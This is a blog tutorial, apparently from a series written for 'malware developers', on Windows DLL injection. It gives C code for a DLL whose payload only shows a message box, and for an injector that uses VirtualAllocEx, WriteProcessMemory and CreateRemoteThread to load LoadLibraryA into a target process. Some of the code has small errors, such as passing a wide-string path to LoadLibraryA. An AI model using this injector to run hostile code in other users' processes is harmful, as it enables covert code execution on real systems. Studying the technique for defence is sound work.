DLL Injection

Apr 21, 2023

Oh hello fellow malware developers :D. Yes, I am back and if you have been taking a break from malware development (like me), GET BACK HERE and I promise you won't regret it.

What is a DLL

A DLL is a Dynamic Linked Library is Microsoft's implementation of the shared library concept. Basically, a DLL contains reusable code that is used by many applications.

So you might guess that we will inject our own DLL into a process, and that's exactly what we will do!

We will achieve that using the LoadLibraryA(); function that loads a module into the address space of the calling process.

LoadLibraryA(); will not execute a DLL if it's already loaded into a process which means that we won't be able to rerun our exploit.

Let's make a DLL

Since we now know what a DLL is, why not make one? In the end, it's a required thing to have when performing a DLL Injection right?

To make a DLL we will use the DllMain as the DLL's entry point which is similar to main of C files.

BOOL WINAPI DllMain(
  _In_ HINSTANCE hinstDLL,
  _In_ DWORD     fdwReason,
  _In_ LPVOID    lpvReserved
);

We can see the fwdReason parameter that indicates why the DLL entry-point function is being called. This parameter can be one of the following values.

Value
Meaning

DLL_PROCESS_ATTACH

1

The DLL is being loaded into the current process as a result of the process starting up or as a result of a call to LoadLibrary.

DLL_PROCESS_DETACH

0

The DLL is being unloaded from the calling process because it was loaded unsuccessfully or the processes has either terminated or called FreeLibrary.

DLL_THREAD_ATTACH

2

The current process is creating a new thread. When this occurs, the entry-point function of all DLLs currently attached to the process is called

DLL_THREAD_DETACH 3

A thread is exiting cleanly.

In our case, we only need the DLL_PROCESS_ATTACH case. The code we will write for that specific case will be executed the moment our DLL gets loaded into a process.

Here is the DLL that we will use

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpvReserved) {
    switch (nReason) {
	case DLL_PROCESS_ATTACH:
	    MessageBoxW(NULL, L"Skelly is here", L"Fear me", MB_RIGHT);
	    break;
	case DLL_PROCESS_DETACH:
	    break;
	case DLL_THREAD_ATTACH:
	    break;
	case DLL_THREAD_DETACH:
            break;
    }

    return TRUE;
}

Try playing yourself with the available cases. For example, leave a final message using the DLL_PROCESS_DETACH case.

Compiling

Let's compile our DLL using gcc

$ gcc -shared -o main.dll dll.c

And congrats! You have your own DLL ๐ŸŽ‰

The injection

Win32 API Calls

As we can see from the above diagram here are the calls we will do to the Win32 API

Documentation for the following API calls can be found by clicking the functions header.

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);

HMODULE GetModuleHandleA(
  [in, optional] LPCSTR lpModuleName
);

FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

We can see that the DLL Injection is pretty similar to the shellcode injection we covered in the past article. Let's start by implementing a simple CLI (Command Like Interface)

#include <windows.h>
#include <stdio.h>

PVOID rBuffer;
HANDLE hProcess;

int main(int argc, char *argv[]) {
    wchar_t dllPath[MAX_PATH] = L"";
    size_t dllSize = sizeof(dllPath);

    MultiByteToWideChar(CP_ACP, 0, argv[2], -1, dllPath, MAX_PATH); // 0, 0, argv[2], -1, dllPath[260], 260
    DWORD PID = atoi(argv[1]);
}

Now we will attempt to get a handle on the process provided by the user.

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

According to the documentation If we are successful we should get our handle, otherwise, the hProcess variable will be set to NULL.

if (hProcess != NULL) {
}
else {
    printf("%s Failed to get handle to process [%ld]\nError: %ld", logs[1], PID, GetLastError());
}

From now on we will work inside the (hProcess != NULL) block. As we did with the shellcode injection we need to allocate some memory within the process.

[. . .]
rBuffer = VirtualAllocEx(hProcess, rBuffer, dllSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
[. . .]

We will now write the DLL path to the allocated memory

[. . .]
WriteProcessMemory(hProcess, rBuffer, (LPVOID)dllPath, dllSize, NULL);
[. . .]    

Now in order to load our DLL we need to get the address of the LoadLibraryA function which is located inside the Kernel32 module (a module used by the Windows kernel!). To achieve this we will make use of the GetModuleHandle function as well as the GetProcAddress function. Basically, we get a handle on the module that contains the function we want and request its address of it using GetProcAddress.

[. . .]
HMODULE hKernel32 = GetModuleHandle(TEXT("Kernel32"));
PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(hKernel32, TEXT("LoadLibraryA"));
[. . .]

Great! Now the only thing that we have to do is to start the remote thread and close the handle to the process.

[. . .]
CreateRemoteThread(hProcess, NULL, 0, startRoutine, rBuffer, 0, NULL);
CloseHandle(hProcess);
[. . .]

And that's pretty much it.

Here is a little PoC I put together using verbose logging. I also played a bit with the DLL and also added a message box on DLL_PROCESS_DETACH.

Congratulations! You just performed your first DLL Injection? Isn't that amazing?

My buddy @crow recently reached 10K subs on YouTube. Please make sure to check out his channel. P.S Crow if you are watching this, give me Headmaster :D

Last updated